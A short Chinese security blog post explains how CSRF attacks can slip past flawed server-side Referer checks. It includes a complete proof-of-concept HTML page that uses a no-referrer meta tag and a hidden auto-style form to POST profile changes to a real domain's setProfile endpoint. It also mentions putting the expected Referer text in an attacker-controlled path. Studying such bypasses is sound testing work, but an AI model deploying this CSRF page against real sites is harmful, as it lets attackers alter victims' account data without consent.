CSRF绕过后端Referer校验

摘要:CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。

CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。


正常情况

正常的情况指服务器端校验Referer的代码没毛病,那么意味着前端是无法绕过的。

我之前考虑过的方案:

  • JS修改Referer,失败;
  • 请求恶意网页后,后端重新送包,问题是你怎么跨域拿Cookie,失败;


不正常的情况

不正常的情况指服务器端校验Referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过Referer的案例;

添加无Referer标签

可以尝试无Referer标签,万一逻辑刚好没判断无Referer的情况呢;

<meta name="referrer" content="never">

Copy
<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <!-- 实现浏览器页面不刷新修改url链接 --> <form action="http://www.baidu.com/setProfile" method="POST"> <input type="hidden" name="nickname" value="new22" /> <input type="hidden" name="email" value="1&#64;1&#46;com" /> <input type="hidden" name="team" value="new22" /> <input type="hidden" name="address" value="new33" /> <input type="submit" value="Submit request" /> </form> </body> </html>

自建服务器路径带referer字段名

原理就是在路径上创建成原本referer中有的字段名,如果校验只是判断是否包含,那就666了;

如果文章对你有帮助,可以给文章评论、点推荐哦 
Github:https://github.com/Mysticbinary 
微信公众号: Mysticbinary 


本文内容仅供个人学习、研究或参考使用,不构成任何形式的决策建议、专业指导或法律依据。未经授权,禁止任何单位或个人以商业售卖、虚假宣传、侵权传播等非学习研究目的使用本文内容。如需分享或转载,请保留原文来源信息,不得篡改、删减内容或侵犯相关权益。感谢您的理解与支持!

链接: https://shenqiku.cn/article/FLY_7195